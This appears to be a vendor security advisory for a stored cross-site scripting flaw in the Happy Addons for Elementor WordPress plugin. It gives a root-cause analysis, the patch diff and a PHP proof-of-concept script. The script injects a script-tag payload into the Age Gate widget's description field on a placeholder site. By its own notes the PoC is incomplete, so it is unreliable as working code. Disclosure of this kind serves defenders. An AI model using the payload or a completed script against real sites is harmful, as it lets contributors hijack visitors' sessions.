Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1210: Happy Addons for Elementor <= 3.20.7 – Authenticated (Contributor+) Stored Cross-Site Scripting via '_elementor_data' Meta Field (happy-elementor-addons)

CVE ID CVE-2026-1210
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 3.20.7
Patched Version 3.20.8
Disclosed February 1, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1210:
The vulnerability is an authenticated Stored Cross-Site Scripting (XSS) flaw in the Happy Addons for Elementor WordPress plugin, versions 3.20.7 and earlier. The flaw resides in the plugin’s Age Gate and SVG Draw widgets, allowing Contributor-level or higher authenticated users to inject arbitrary JavaScript into pages. The CVSS score of 6.4 reflects the moderate impact of stored XSS requiring contributor-level access.

Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping for user-controlled data stored in the ‘_elementor_data’ meta field. Specifically, the `print_unescaped_setting()` method was used to output the ‘desc’ and ‘footer_text’ fields in `/happy-elementor-addons/widgets/age-gate/widget.php` (lines 2054 and 2119) and the ‘ha_custom_svg’ field in `/happy-elementor-addons/widgets/svg-draw/widget.php` (line 730). These fields lacked proper sanitization when saved, allowing raw HTML/JavaScript to be stored and later rendered unfiltered.

The exploitation method involves an authenticated attacker with Contributor+ privileges creating or editing a post or page using the Elementor editor. The attacker injects a malicious script payload into the ‘Description’ or ‘Footer Text’ field of the Age Gate widget, or the ‘SVG Code’ field of the SVG Draw widget. When the page is saved, the payload is stored in the post’s ‘_elementor_data’ meta field as serialized JSON. The payload executes in the browsers of any user who visits the compromised page.

The patch in version 3.20.8 addresses the issue by implementing proper sanitization and escaping. For the Age Gate widget, a `sanitize_callback` parameter with value `’wp_kses_post’` was added to the ‘desc’ and ‘footer_text’ control definitions (lines 145 and 394). The output calls were changed from `$this->print_unescaped_setting()` to `echo wp_kses_post( $settings[…] )` (lines 2054 and 2119). For the SVG Draw widget, a `sanitize_callback` was added to the ‘ha_custom_svg’ control (line 105), and the output logic was modified to conditionally apply `wp_kses_post` unless the user has the ‘unfiltered_html’ capability (lines 730-736).

Successful exploitation leads to stored XSS, allowing an attacker to perform actions within the context of a victim user’s session. This can result in session hijacking, defacement, redirection to malicious sites, or theft of sensitive information like cookies and authentication tokens. For administrators, this could facilitate full site compromise.

Differential between vulnerable and patched code

Code Diff
--- a/happy-elementor-addons/plugin.php
+++ b/happy-elementor-addons/plugin.php
@@ -4,7 +4,7 @@
  * Plugin Name: Happy Elementor Addons
  * Plugin URI: https://happyaddons.com/
  * Description: <a href="https://happyaddons.com/">Happy Addons for Elementor</a> Is the Best Elementor Addons Comes With 44+ Free Elementor Widgets Including Table Builder, Testimonial, Event Calendar,Slider,News Ticker, Image Grid, etc & Features Like Elementor Equal Height, Text Stroke, Shape Dividers, Floating Effect, Grid Layout, 500+ Elementor Icons, 450+ Template Packs & More.
- * Version: 3.20.7
+ * Version: 3.20.8
  * Author: Leevio
  * Author URI: https://happyaddons.com/
  * Requires Plugins: elementor
@@ -40,9 +40,9 @@


 if ( defined( 'HAPPY_ADDONS_DEV' ) && true == HAPPY_ADDONS_DEV ) {
-	define('HAPPY_ADDONS_VERSION', '3.20.7' . time() );
+	define('HAPPY_ADDONS_VERSION', '3.20.8' . time() );
 } else {
-	define( 'HAPPY_ADDONS_VERSION', '3.20.7' );
+	define( 'HAPPY_ADDONS_VERSION', '3.20.8' );
 }
 define('HAPPY_ADDONS__FILE__', __FILE__);
 define('HAPPY_ADDONS_DIR_PATH', plugin_dir_path(HAPPY_ADDONS__FILE__));
--- a/happy-elementor-addons/widgets/age-gate/widget.php
+++ b/happy-elementor-addons/widgets/age-gate/widget.php
@@ -47,7 +47,7 @@
 	}

 	public function get_keywords() {
-		return [ 'age-gate', 'age', 'gate' ];
+		return [ 'age-gate', 'age', 'gate', 'age gate' ];
 	}

 	protected function is_dynamic_content(): bool {
@@ -145,6 +145,7 @@
             [
             	'label' => esc_html__( 'Description', 'happy-elementor-addons' ),
 				'type' => Controls_Manager::TEXTAREA,
+				'sanitize_callback' => 'wp_kses_post',
 				'default' => esc_html__( 'You must be 18 years of age to enter this website.', 'happy-elementor-addons' ),
 				'placeholder' => esc_html__( 'Enter Description', 'happy-elementor-addons' ),
 				'dynamic' => ['active'   => true,],
@@ -393,6 +394,7 @@
             [
             	'label' => esc_html__( 'Footer Text', 'happy-elementor-addons' ),
 				'type' => Controls_Manager::TEXTAREA,
+				'sanitize_callback' => 'wp_kses_post',
 				'default' => esc_html__( 'By entering this site you are agreeing to the Terms of use and Privacy Policy.', 'happy-elementor-addons' ),
 				'placeholder' => esc_html__( 'Type your extra info here', 'happy-elementor-addons' ),
 				'dynamic' => [
@@ -2052,7 +2054,7 @@
 						<?php endif; ?>

 						<?php if( !empty($settings['desc']) ): ?>
-							<div class="ha-age-gate-description"><?php $this->print_unescaped_setting( 'desc' ); ?></div>
+							<div class="ha-age-gate-description"><?php echo wp_kses_post( $settings['desc'] ); ?></div>
 						<?php endif; ?>
 					</div>

@@ -2117,7 +2119,7 @@
 					</div>

 					<?php if( !empty($settings['footer_text']) ): ?>
-						<div class="ha-age-gate-footer-text"><p><?php $this->print_unescaped_setting( 'footer_text' ); ?></p></div>
+						<div class="ha-age-gate-footer-text"><p><?php echo wp_kses_post( $settings['footer_text'] ); ?></p></div>
 					<?php endif; ?>
 				</div>

--- a/happy-elementor-addons/widgets/svg-draw/widget.php
+++ b/happy-elementor-addons/widgets/svg-draw/widget.php
@@ -105,6 +105,7 @@
 				[
 					'label'       => __( 'SVG Code', 'happy-elementor-addons' ),
 					'type'        => Controls_Manager::TEXTAREA,
+					'sanitize_callback' => 'wp_kses_post',
 					'description' => 'You can use these sites to Convert SVG image to code: <a href="https://nikitahl.github.io/svg-2-code/" target="_blank">SVG 2 CODE</a> ',
 					'condition'   => [
 						'ha_icon_type' => 'custom_code'
@@ -729,7 +730,13 @@

 					<?php } else { ?>

-						<?php $this->print_unescaped_setting( 'ha_custom_svg' ); ?>
+						<?php
+							if ( current_user_can( 'unfiltered_html' ) ) {
+								echo $settings['ha_custom_svg'];
+							} else {
+								echo wp_kses_post( $settings['ha_custom_svg'] );
+							}
+						?>

 					<?php } ?>

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1210 - Happy Addons for Elementor <= 3.20.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via '_elementor_data' Meta Field
<?php

$target_url = 'http://target-site.local/wp-admin/admin-ajax.php';
$username = 'contributor';
$password = 'password';
$post_id = 123; // ID of a post/page the contributor can edit

// Payload to inject into the Age Gate widget's description field.
$payload = '<script>alert(document.domain)</script>';

// Step 1: Authenticate and obtain WordPress nonce for Elementor editor.
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'action' => 'elementor_ajax',
        'actions' => json_encode([
            'action_data' => [
                'action' => 'save_builder',
                'data' => [
                    'editor_post_id' => $post_id,
                ],
            ],
        ]),
    ]),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEJAR => 'cookies.txt',
    CURLOPT_COOKIEFILE => 'cookies.txt',
    CURLOPT_USERPWD => "$username:$password",
    CURLOPT_HTTPAUTH => CURLAUTH_BASIC,
]);
$response = curl_exec($ch);

// Step 2: Craft malicious '_elementor_data' for the Age Gate widget.
// This JSON represents a page containing an Age Gate widget with the malicious description.
$malicious_elementor_data = json_encode([
    [
        'id' => 'some-id',
        'elType' => 'widget',
        'settings' => [
            'desc' => $payload, // Injected payload
            'footer_text' => '',
        ],
        'widgetType' => 'ha-age-gate',
    ],
]);

// Step 3: Send the update request to save the malicious data.
// In a real scenario, this would be part of the Elementor editor save process.
// This PoC simulates the core action: updating the '_elementor_data' post meta.
$update_url = 'http://target-site.local/wp-admin/post.php';
curl_setopt_array($ch, [
    CURLOPT_URL => $update_url,
    CURLOPT_POSTFIELDS => http_build_query([
        'post' => $post_id,
        'action' => 'editpost',
        '_elementor_data' => $malicious_elementor_data,
        'meta-box-loader' => 1,
        'meta-box-loader-nonce' => 'nonce_placeholder', // Requires a valid nonce
    ]),
]);
$response = curl_exec($ch);
curl_close($ch);

// Note: A full exploit requires handling WordPress nonces and the Elementor editor's exact save flow.
// This script outlines the critical steps and payload placement.
echo "PoC structure complete. Check if payload persists in post meta '_elementor_data'.";

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School